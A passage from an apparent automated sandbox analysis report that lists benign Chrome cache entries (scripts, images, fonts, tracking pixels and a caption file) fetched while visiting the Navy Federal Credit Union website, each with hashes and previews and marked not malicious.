side)",CHECKBOX:"Checkbox",CSAT:"CSAT"};a[b].validationTypes={EMAIL:"email",NUMBER:"numeric",STRING:"alpha_numeric",CSAT:"csat",PHONE:"phoneNumber"};a[b].errorTypes={EMAIL:"email",NUMBER:"numeric",ILLEGAL_CHARS:"illegal_chars",REQUIRED:"required",CSAT_RANGE:"csat_range",LENGTH:"length",PHONE:"phoneNumber"};a[b].questionsText={MAX_LENGTH:2e3};a[b].csatRange={lowest:0,highest:5};a[b].getAllQuestions=function(){return this.survey&&this.survey.questions&&this.survey.questions.question&&this.survey.q

Chrome Cache Entry: 450

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C source, ASCII text, with very long lines (19497)
Category:	downloaded
Size (bytes):	19498
Entropy (8bit):	5.322746647348741
Encrypted:	false
SSDEEP:	384:fkEH8lJd3tmk9eosTXlTxLJov4kxMTHSb9x/vv9ihfWRuBjw8can0O8eEbyIxxg4:fN8mkT2XVxLJogkxyHg/H90fM+rn0CER
MD5:	83C2974D08241A92C3B2DCB8F441271F
SHA1:	424D72CD7DFE7371C647ADDD7145AB3444A6B121
SHA-256:	7EF97B12890FC6FEE67F869C6E1F74B6719DE7D66AC0D649C8D7386A80B4C30F
SHA-512:	A10FD145D462CE37CB878AAB5380B5B73415016673B8E466A5CBFE5C7EE916A04635876C16FB0B97BBD87D27309C5CA795F9088F6EDEFA5111568E834B001842
Malicious:	false
Reputation:	low
URL:	https://c1.rfihub.net/js/tc.min.js
Preview:	.var JSON;JSON\|\|(JSON={}),function(){"use strict";function f(a){return 10>a?"0"+a:a}function quote(a){return escapable.lastIndex=0,escapable.test(a)?'"'+a.replace(escapable,function(a){var b=meta[a];return"string"==typeof b?b:"\\u"+("0000"+a.charCodeAt(0).toString(16)).slice(-4)})+'"':'"'+a+'"'}function str(a,b){var c,d,e,f,g,h=gap,i=b[a];switch(i&&"object"==typeof i&&"function"==typeof i.toJSON&&(i=i.toJSON(a)),"function"==typeof rep&&(i=rep.call(b,a,i)),typeof i){case"string":return quote(i);case"number":return isFinite(i)?String(i):"null";case"boolean":case"null":return String(i);case"object":if(!i)return"null";if(gap+=indent,g=[],"[object Array]"===Object.prototype.toString.apply(i)){for(f=i.length,c=0;f>c;c+=1)g[c]=str(c,i)\|\|"null";return e=0===g.length?"[]":gap?"[\n"+gap+g.join(",\n"+gap)+"\n"+h+"]":"["+g.join(",")+"]",gap=h,e}if(rep&&"object"==typeof rep)for(f=rep.length,c=0;f>c;c+=1)"string"==typeof rep[c]&&(d=rep[c],e=str(d,i),e&&g.push(quote(d)+(gap?": ":":")+e));else for(d i

Chrome Cache Entry: 451

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	9286
Entropy (8bit):	7.933949062374783
Encrypted:	false
SSDEEP:	192:f6FJDtYnhOOyipVD2JakQDZ8+BI1hdOiOtvs:SFUhdbpF2Jak4h7s
MD5:	F59FC0C980A50CF2D778916C30A1196B
SHA1:	68AFA9D68CA56EBFB4A30E4843DD2D3E9CAF91E6
SHA-256:	F00B08FC09ADDD5521A15814A2B101021D9086B84F2668E7F95F28F10B186BFD
SHA-512:	9E34E5CCC6045F1A3E8275D2E0C02BCF7DB2E7F86ED81180A36C132ABF5D74751D4B292F67A1B3E0175BE8E388EFCECF8BC4A4741A2C2809AA9B221F3ECAB53B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............k.XT....pHYs................lPLTE..........................................................n..\|.........5q.K..`..'f.....Z._ch...S..#.IDATx....v......*.......\|(.E..Q2.y.k..e..D#....h.N.^XD"..{..p.wvH...k.O..xX....iY.;^.......\|.>Ox..}..U..w.W..n.......j..=....w.e%........?..............{...Z...>.?..+.....#.{....w%.n>x....!..".8NH.3.........q.I@:C...X.{......F....o.U["X.@....!..>.C..@P..d......?d..l.....P.z{z.A.[...\|..I..(m.=._.]nn...}.I.K.>...T:.x.E......g....z.....}v.+ .p.\....O..>.w.4..dG.r.^&....:..+Y...%.r.5..O.&..q....4....%EcF ....+.H.....m...=...[.c....../.GE..uV...`...s.. ..(.o.4..D..u.8.N+..i.G.V....lG...`..k..7.c..I.....f..5C...~....~...Q..i.....o.....T..e.....V.?..x..............+I.\>...e..6Ee..N...F.$@!.D.......[.b.}...eV...t.w..xA7.. X...~...~ ,...p}....9h.....Fd.-~.j...!K.U..(p..`..u0.......t...x..?.....~P8,..O...J..y._.Y...!....=e..B^._..... ...6........?..??P&P>..x\|.8"XEJ.B.D..z....gjJ#?:.C

Chrome Cache Entry: 452

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.2226627197680635
Encrypted:	false
SSDEEP:	3:CUzRtwv+L1pse:1/se
MD5:	F837AA60B6FE83458F790DB60D529FC9
SHA1:	14AF87CCEC7F81BB28D53C84DA2FD5A9D5925CDA
SHA-256:	DCECAB1355B5C2B9ECEF281322BF265AC5840B4688748586E9632B473A5FE56B
SHA-512:	A85E09C3B5DBB560F4E03BA880047DBC8B4999A64C1F54FBFBCA17EE0BCBED3BC6708D699190B56668E464A59358D6B534C3963A1329BA01DB21075EF5BEDACE
Malicious:	false
Reputation:	low
URL:	https://sync.targeting.unrulymedia.com/csync/RX-ed36a9b1-6e82-4f97-bcc6-221866ea94df-003
Preview:	GIF89a.............!.......,...........L..;

Chrome Cache Entry: 453

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	2023
Entropy (8bit):	4.787376110980472
Encrypted:	false
SSDEEP:	48:ceAvf3GlJzE6wHf0olDQLQb9GgkL6+UvOBLYBLyjh4UM:cvfWlJzEp0old5CKvO9Y9+4UM
MD5:	9EC2F39CD173C5021647DB9EF23A82A5
SHA1:	638E91B1C89ED0B02190862B41BBF50914284A3C
SHA-256:	A08D8933016ED75D51799C809EDA6FD853091BEEA2DE24E1DE77C958042DE065
SHA-512:	F773BFEFED34BBE8A9F5104B66E7FA58F5AC765D179C4E15563D45CB846F5C9C0CE884EF1EFA80A7699FE29156827D595BECE0D6C8438D426CE14FE5E851D7B2
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>. Generator: Adobe Illustrator 27.9.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->.<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px".. viewBox="0 0 498.4 500" style="enable-background:new 0 0 498.4 500;" xml:space="preserve">.<style type="text/css">...st0{fill:#FFFFFF;}.</style>.<g>..<path class="st0" d="M442.4,93.2C354.8-15.3,200-31.1,91.1,56.6C-11.4,139.1-31.2,294.4,51.1,402...c83.8,109.6,243.2,131.4,351.4,44.5C513.1,357.8,530.2,202,442.4,93.2z M388,422.8c-36.7,29.8-79.6,45.8-123.1,48.7V409...c35.4-3.9,65.1-19.2,89.1-46c24.1-26.7,36.1-58.2,36.1-94.3v-31.4c0-4.2-1.6-7.9-4.6-11c-3.1-3.1-6.8-4.7-11-4.7...c-4.2,0-7.9,1.6-11,4.7c-3.1,3.1-4.6,6.8-4.6,11v31.4c0,30.3-10.7,56.1-32.2,77.6c-21.4,21.5-47.2,32.3-77.4,32.3...s-56-10.8-77.4-32.3c-21.4-21.5-32.2-47.4-32.2-77.6v-31.4c0-4.2-1.6-7.9-4.6-11c-3.1-3.1-6.8-4.7-11-4.7c-4.2,0-7.9,1.6-11,4.7...c-3.1,3.1-4.6,6.8-4.6,11

Chrome Cache Entry: 454

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	62
Entropy (8bit):	3.9237100146972455
Encrypted:	false
SSDEEP:	3:CUHl/RPlr02mxhl/E5lmfpse:f9x0Rl/HBse
MD5:	3F386F5061436A0338A64E0910DB495D
SHA1:	599FE4A552C991A2B3CE5A1660732BF7B21FB901
SHA-256:	0AF3AAE90B7DE9FDCEEE2AB421378EA2F54C74BE81EF43FC6C1790A032755D80
SHA-512:	235479F42CBBE0A4B0100167FECE0D14C9B47D272B3BA8322BCFE8539F055BF31D500E7B2995CC968EBF73034E039F59C5F0F9410428663034BF119D74B5672C
Malicious:	false
Reputation:	low
URL:	https://stags.bluekai.com/site/29931?id=4F23F6C2C1D4438DAA81302CEEAB3C45
Preview:	GIF89a.............!..NETSCAPE2.0.....!.......,...........L..;

Chrome Cache Entry: 455

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 17 x 17, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1129
Entropy (8bit):	6.378302073646057
Encrypted:	false
SSDEEP:	24:h1htZdWwjx82lY2T3vVN7FyJ3VKLVEqYGHTdwg0TzN:PqNn2DX4J3YBYmdWJ
MD5:	ACB70EA04F4C15ADE17B504DC2328973
SHA1:	2067FB77CDE4BD04B4981A5C32EEDDA2D810B69B
SHA-256:	D5B4BF730FD53C0F0D5E00BC55D74934524234641BB748F57D64C23F5A0C7C64
SHA-512:	33327F01008A0682C6A650E4284C488401F606DDA9B542B85E74DADC95AB3FC50535F9283C5D75B9CE1EB65316C373052F66EFC9EA5BC7A674651880F6CEF35A
Malicious:	false
Reputation:	low
URL:	https://www.navyfederal.org/etc.clientlibs/nfo/clientlibs/uife/clientlib-uife-fullWidth/resources/images/branch-locator/icon_nav_arrow.png
Preview:	.PNG........IHDR.............;mG.....tEXtSoftware.Adobe ImageReadyq.e<...$iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c061 64.140949, 2010/12/07-10:57:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5.1 Macintosh" xmpMM:InstanceID="xmp.iid:94D532D1C8C011E3A582FC2A37449B04" xmpMM:DocumentID="xmp.did:94D532D2C8C011E3A582FC2A37449B04"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:94D532CFC8C011E3A582FC2A37449B04" stRef:documentID="xmp.did:94D532D0C8C011E3A582FC2A37449B04"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.Srn....IDATx.b.0......Ldj6..]@...w.j.../...@.........%.......I..D.2...+.8..y.....q\|.p.q&.W....5.0..! .&@....gA..

Chrome Cache Entry: 456

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 457

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	24301
Entropy (8bit):	4.986336489357683
Encrypted:	false
SSDEEP:	384:LbDy12J0gne98zjR0glIZJxqmzAog3ygMElDtWT/v/SJ2+tzFx:3O12J1i8zjR0glIZ7qmzAog3ygMENtWA
MD5:	0DB81AAC2FF3C4ACF8D0A1D28D4C0765
SHA1:	C9B554C3D11A458732294F849DBA8F9CE8221F52
SHA-256:	B1BD5C7E310CA25AF09DAD809058C329F36FBF9E10B26C23DA69FA6000DE5D75
SHA-512:	3B7F316F5266D7E795DFF0B36C1886657BD07943898CB1F375A61E245FD19A03C4C8FE32485D4C2CB425EDB5B0928342C86EA38A2B5BDFFEE7DC2D7307A854DC
Malicious:	false
Reputation:	low
URL:	https://www.navyfederal.org/etc.clientlibs/nfo/clientlibs/vendor/infobox.js
Preview:	/*.. @name InfoBox.. * @version 1.1.13 [March 19, 2014].. * @author Gary Little (inspired by proof-of-concept code from Pamela Fox of Google).. * @copyright Copyright 2010 Gary Little [gary at luxcentral.com].. * @fileoverview InfoBox extends the Google Maps JavaScript API V3 <tt>OverlayView</tt> class... * <p>.. * An InfoBox behaves like a <tt>google.maps.InfoWindow</tt>, but it supports several.. * additional properties for advanced styling. An InfoBox can also be used as a map label... * <p>.. * An InfoBox also fires the same events as a <tt>google.maps.InfoWindow</tt>... /..../!.. .. Licensed under the Apache License, Version 2.0 (the "License");.. * you may not use this file except in compliance with the License... * You may obtain a copy of the License at.. .. http://www.apache.org/licenses/LICENSE-2.0.. .. Unless required by applicable law or agreed to in writing, software.. * distributed under the License is distributed on an "AS IS" BASIS,.. * WITHOUT

Chrome Cache Entry: 458

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	674
Entropy (8bit):	5.004420809792862
Encrypted:	false
SSDEEP:	12:LdBoz3ZxRm7iBXpw7wS/wUQ90V1Y22/sIpppy3LBr2TaECpcUDLkAZ6V:LdBspm7KpoQ90422CLQTaEeDAAoV
MD5:	EDC0400676C247BEDC8EF0CF5FB291F2
SHA1:	CE97185380746E10EABCD477C37C80E51BA7D1E3
SHA-256:	9E684CB6EF37BA640E1C95AB8F76DFE64293BD1AB5FB87D38FCCA0A125D68A4E
SHA-512:	D945F4D2CF32601025981230A16D6780E02351420472CAC65D1C647D61A252953AD1E5CE19621FDF007626C96D32D4B93C4947292E343EFB9D0840C8E32E1D9A
Malicious:	false
Reputation:	low
URL:	https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/fd78cafe-3c21-4653-957d-e1ecbd8fece0/segment0.vtt?akamai_token=exp=1716609792~acl=/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/fd78cafe-3c21-4653-957d-e1ecbd8fece0/*~hmac=043af47b08a8ba0046fbdd3df41cd8ac187a10bace3cd5fd2ba32ba2a62f5e23
Preview:	WEBVTT.X-TIMESTAMP-MAP=LOCAL:00:00:00.000,MPEGTS:0..00:00.000 --> 00:05.549.At Navy Federal we want to make it easy.for you to talk to us at our branch..00:05.549 --> 00:12.570.offices around the world, on the phone.and on social media. Just like you we're..00:12.570 --> 00:20.070.always connected. We'd like to hear from.you, and you, and you, and you, and you. Have..00:20.070 --> 00:25.140.a question about your accounts, our.products and services, where to find your..00:25.140 --> 00:29.849.routing number, or making a mobile.deposit, or you just want to share your..00:29.849 --> 00:30.000.experiences with us? We want to hear them all. Tweet us at @navyfederalhelp..

Chrome Cache Entry: 459

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 77160, version 4.459
Category:	downloaded
Size (bytes):	77160
Entropy (8bit):	7.996509451516447
Encrypted:	true
SSDEEP:	1536:/MkbAPfd1vyBKwHz4kco36ZvIaBfRPlajyXUA2jVTc:L0nXnHdfRVEAS2
MD5:	AF7AE505A9EED503F8B8E6982036873E
SHA1:	D6F48CBA7D076FB6F2FD6BA993A75B9DC1ECBF0C
SHA-256:	2ADEFCBC041E7D18FCF2D417879DC5A09997AA64D675B7A3C4B6CE33DA13F3FE
SHA-512:	838FEFDBC14901F41EDF995A78FDAC55764CD4912CCB734B8BEA4909194582904D8F2AFDF2B6C428667912CE4D65681A1044D045D1BC6DE2B14113F0315FC892
Malicious:	false
Reputation:	low
URL:	https://www.navyfederal.org/etc.clientlibs/nfculibs/clientlibs/uife/clientlib-uife-nfculibs-site/resources/fonts/font-awesome/fontawesome-webfont.woff2?v=4.7.0
Preview:	wOF2......-h..........-.........................?FFTM.. .`..r.....(..X.6.$..p..... .....u[R.rGa......'.=.:..&..=r........].t..E.n.......1F...@....\|....f.m.`.$..@d[BQ.$([U<+(..@P.5..`....>.P..;.(..1..l..h...)..Yy..Ji......\|%..^..G..3..n........D..p\Yr .L.P.....t.)......6R.^"S.L~.YR.CXR...4...F.y\[..7n..\|.s.q..M..%K......,.....L.t.'....M.,..c..+b....O.s.^.$...z...m...h&gb...v.....'..6.:....s.m.b.1.m0"....*V.....c.$,0ATPT.1.....<..;...`..'.H.?.s.:..ND.....I..$..T..[..b4........,....bl6...IL.i}.&.4.m,'....#....Rw..bu..,K......v....m_-...\H....HH.......?...m..9P...)9.J..$.....8......~.;.r..n.=$.....Nddn.!'....;...8..'.N...!.-..J.........X.=.,......"`:....... {......K!'...-FH....#$~.Z_.......N5VU8F....%.P..........Cp..$.Q.......r.....k.k...3...:R.%....2{.....h%.)8..........ILK.6v.#......,;.6..N.2.hv...........OO..t#....xT..Bf....q^.#....?{.5b.I..%-WZ..b.A...^.1..n5.....NQ.Y'.........S.....!t" .`b3..%....35....fv;....l..9.:jgf?gr..p.x. ..\|.. $. e.

Chrome Cache Entry: 460

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	21819
Entropy (8bit):	7.968339464772
Encrypted:	false
SSDEEP:	384:3vl6/+7l/rY4IDKgvoC05dL8T1LCZ6sPRtYhK+/osSZJw77HuFC8+5H7ecIK+6HH:t++9rblggt7PRtzEovZC77wC352K+6HH
MD5:	C8835477DDED3111F08BB35E4063D737
SHA1:	FCFFB1DF0C215314349581BF459BB5A38DADB3A6
SHA-256:	4351C7F38D0BB0101A188C77B1CE34A84D1E39BD7C6D2909E530C0AAA5EFED49
SHA-512:	4B4120F442DFF482C10504DAEB03FC178D15F7B871042FAD338D45006E68C0220FB00F64CEE68E15028DA2FBBEDB8DDCBB8585887AA680A3B3ACADD58A20E733
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............k.XT....pHYs.................PLTE...............................................................................................................................v\|\|........._ch.............NRV.......T.IDATx....z............M....t....d...s...;..,,...................?Z.].wr.}....)z...SO..S.H}...}..o\.7.>.7=EN9..('.p...v..>...~t.A1....&..h...._...X...VG....].?.SW...y....j'....._...G.V+._.q0.}.5..w.K+AN+.... .5.B..O...A=1.Z8Nc..........c._...co>./..\|.~........c.....5]....^...O..}O]........(..w?q.].I-..7.........7.O........n.w..+Oxl.....X,.{.I...Q..OO..Y..;..~....O../..[}>.......\|T,...z.V.."..._d................s..zZ.7.^=^u.r.....x.o.9`.~...-..}...$..l.ZF..2.....M.a.~........ ~..?._..#S.W.....E..{...,.(....@.(..e..H......@.S........1.B.._..?.".t.2\:.. .J .@..y..F.l).\.y..!/.J..S~...x-....g.....]...2.{?.~.C.H4[...X$.h8Uh....]W.8E..QC ...1.a?..C......{.}.Wo....m.`...n@`!3._....`.....w.J

Chrome Cache Entry: 461

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (807)
Category:	downloaded
Size (bytes):	89740
Entropy (8bit):	5.4244484256409775
Encrypted:	false
SSDEEP:	1536:J4sdvWbECKzTVHeE+ceCmCdX1ptkaZKB2ZhBYZxkLTRGpyo6bkA2VlpAfCYJTW7X:fd9D+xkXQpyo6btimgKiCT81Jx
MD5:	EC1257A625B104D68CD2D275DAE8AD47
SHA1:	4F9BA12579A07BE7E67892A59C1D06103A430A0A
SHA-256:	59842DEBB914AFBFAD3863C1B2AAE1913809D169DEE87E19D6F203911FCCE392
SHA-512:	EC0C0BB5FDAECAC0DC56A74596F12B08EFD5E6717C92F0D918E38250599542B185DE31F237B74E4B24678EDA4F131019DF113A98B634E56CC5E35989218BB219
Malicious:	false
Reputation:	low
URL:	https://www.navyfederal.org/etc.clientlibs/nfo/clientlibs/clientlib-dependencies.lc-ec1257a625b104d68cd2d275dae8ad47-lc.min.js
Preview:	/. jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(r,ua){"object"==typeof module&&"object"==typeof module.exports?module.exports=r.document?ua(r,!0):function(r){if(!r.document)throw Error("jQuery requires a window with a document");return ua(r)}:ua(r)}("undefined"!=typeof window?window:this,function(r,ua){function lb(a,b,c){var d,e,g=(c=c\|\|w).createElement("script");if(g.text=a,b)for(d in bc)(e=b[d]\|\|b.getAttribute&&b.getAttribute(d))&&g.setAttribute(d,e);c.head.appendChild(g).parentNode.removeChild(g)}function X(a){return null==a?a+"":."object"==typeof a\|\|"function"==typeof a?Ga[mb.call(a)]\|\|"object":typeof a}function Ua(a){var b=!!a&&"length"in a&&a.length,c=X(a);return!q(a)&&!fa(a)&&("array"===c\|\|0===b\|\|"number"==typeof b&&0<b&&b-1 in a)}function J(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()}function Va(a,b,c){return q(b)?d.grep(a,function(a,d){return!!b.call(a,d,a)!==c}):b.nodeType?d.grep(a,function(a){return a===b!

Chrome Cache Entry: 462

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	16805
Entropy (8bit):	7.943618218643026
Encrypted:	false
SSDEEP:	384:qT2w8jFNLmy5Qd5Jp8K85jVtu4b8N76xSGPp:qT2NXLmy5Qxp1kjrm7f0
MD5:	C7893A1E1AB35A6875304279426D94E8
SHA1:	A15E58D575F6AF4144E2925542B21391307EAC20
SHA-256:	FE6B70B5524C719E40A39FECF6268BA5F62F1244B5FE095B767DBEFB51BD5877
SHA-512:	1C11030C219EAC8C2065338DE3C0C43FA10314100D78F644864AA6D1BA4A6A3C4DE92D98EE7D3187081F2335F746102AD5CB5B410B89D4EA4A1DAB3B67E00C50
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............k.XT....pHYs.................PLTE......................................................v\|\|.............................................X]`.......bgi...kqr...........NRV.............z}..................... !$....9<=.......u.................._ch..=&..@XIDATx....z..............O_m.......DITq.\|...<..c./A4..6...q.4....?uK......A.c..y..``.W8..o....O...8...s..\|=?.7..u..TK%...i....$`%..G)..\k...w..Bn.G/.K.. 0?.L[J......r...`.A...}.c..{.x..< %.b...........m.a.G).`...w.h..r..y..<.?..?... ..v...6/Z$...W...g.d.8....2.y.@....q.ei.......... `....(....G..E-.....R-.F..._&m....))>\|pN........H....Xw?....>@.Z..........g........2...m....Zq+..M..<...@.d9.Q.?p. .w}v...\).J.....t.......SB........0.jEYd-{......N.<.......i..._.b}VK..D...j5.'Z..*........ .,....$..%.\|....L..\|.~..Y..T.m.p..&....."...Ki...\|...^.k..\)....aR......\|......&..$.+_.0C...Q...I....r......G..+i.....G..k.....g..JW..U.K^...tv_J&B....<Xu...

Chrome Cache Entry: 463

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (5089), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	120054
Entropy (8bit):	5.02126930153907
Encrypted:	false
SSDEEP:	768:U/jwxifxq1b4v1eKVyYFOOjm0p/NTtVnjySnTl8rGnstWgc3ukKibundCS1FYC9W:qjYEOvYYOjm0p/NjDbQCS1FF9bix
MD5:	98A55A1F83752E0D2AB810D48113BEB7
SHA1:	6AE71BAEA0B6C388259C379F3CDE6EA4240E5D85
SHA-256:	E521B8B4AEEA6291A8B5C487FA6AFBABCBF744F93D1187F67B51910633B09A79
SHA-512:	6F8AD67668B652BD4A6825434FCF2F9FA7F28FE311452716F723EF59415D131E12E727D618E55709E2C4D91CC62A3336DECEB5227B8D9575DA731C25AB6290A9
Malicious:	false
Reputation:	low
URL:	https://www.navyfederal.org/branches-atms.html
Preview:	.<!DOCTYPE HTML>.<html lang="en" class="no-js">. <head>..........<meta charset="UTF-8"/>..<meta http-equiv="X-UA-Compatible" content="IE=edge"/>..<meta name="viewport" content="width=device-width, initial-scale=1"/>.. Google site verification -->......<title>Find a Credit Union or ATM Near You \| Navy Federal Credit Union</title>..<meta name="title" content="Find a Credit Union or ATM Near You"/>..<meta name="description" content="Use our locator to find a Navy Federal Credit Union branch or ATM near you. Stop by a branch or ATM location in your area, serving the Navy, Army, Marine Corps, Air Force, Coast Guard, DOD, Veterans and their families."/>..... . <meta name="robots" content="index, follow"/>. <meta name="nfosearch" content="true"/>. ..<link rel="canonical" href="https://www.navyfederal.org/branches-atms.html"/>.............<link rel="shortcut icon" href="/etc.clientlibs/nfculibs/clientlibs/uife/clientlib-uife-nfculibs-site/resources/images/favicon.ico

Chrome Cache Entry: 464

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 28 x 22, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1364
Entropy (8bit):	6.802985094224141
Encrypted:	false
SSDEEP:	24:vp1hpunQWwh82lYSKwnlmVfHT3HyJ3VlELhnqGAinJooou1ktW/Q:fitvnLdheJ3HKA7inJ7l1ko4
MD5:	5CA4D7FFCBB10D1F3EE9F4D5539AB0A0
SHA1:	53E6959BA151171BD855CBB99DBE3C9221EA7950
SHA-256:	A22C3EAB6AEA6F83F7222FE0D2A88A5471E4180430005B8DC3F8EA1E6F2751B2
SHA-512:	FFBA8C8EA0BDF32A3837985E75172A15189275B63D41BF20226235589F0938EBA6363D247D166480AB99E73C3174B588FD5B22482F064E5BB0D4CE95FECEE964
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................tEXtSoftware.Adobe ImageReadyq.e<...hiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:50E019A21320681188C6D2EA156BC9B6" xmpMM:DocumentID="xmp.did:D5963FA16C4B11E18FE2C4C7914E13A9" xmpMM:InstanceID="xmp.iid:D5963FA06C4B11E18FE2C4C7914E13A9" xmp:CreatorTool="Adobe Photoshop CS5.1 Macintosh"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:075B853E9B21681188C68B20534450CE" stRef:documentID="xmp.did:50E019A21320681188C6D2EA156BC9B6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.......IDATx..ODDA..w+...,.b.K..]:E..C.N......

Chrome Cache Entry: 465

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?cc=1&id=537072966&val=4F23F6C2C1D4438DAA81302CEEAB3C45
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 466

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	13
Entropy (8bit):	2.7773627950641693
Encrypted:	false
SSDEEP:	3:qVZPV:qzd
MD5:	C83301425B2AD1D496473A5FF3D9ECCA
SHA1:	941EFB7368E46B27B937D34B07FC4D41DA01B002
SHA-256:	B633A587C652D02386C4F16F8C6F6AAB7352D97F16367C3C40576214372DD628
SHA-512:	83BAFE4C888008AFDD1B72C028C7F50DEE651CA9E7D8E1B332E0BF3AA1315884155A1458A304F6E5C5627E714BF5A855A8B8D7DB3F4EB2BB2789FE2F8F6A1D83
Malicious:	false
Reputation:	low
URL:	https://td.doubleclick.net/td/fls/rul/activityi;fledge=1;src=9749892;type=gener0;cat=conta0;ord=3291343058461;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=834203213;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html?
Preview:	<html></html>

Chrome Cache Entry: 467

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	12741
Entropy (8bit):	7.9394131737274884
Encrypted:	false
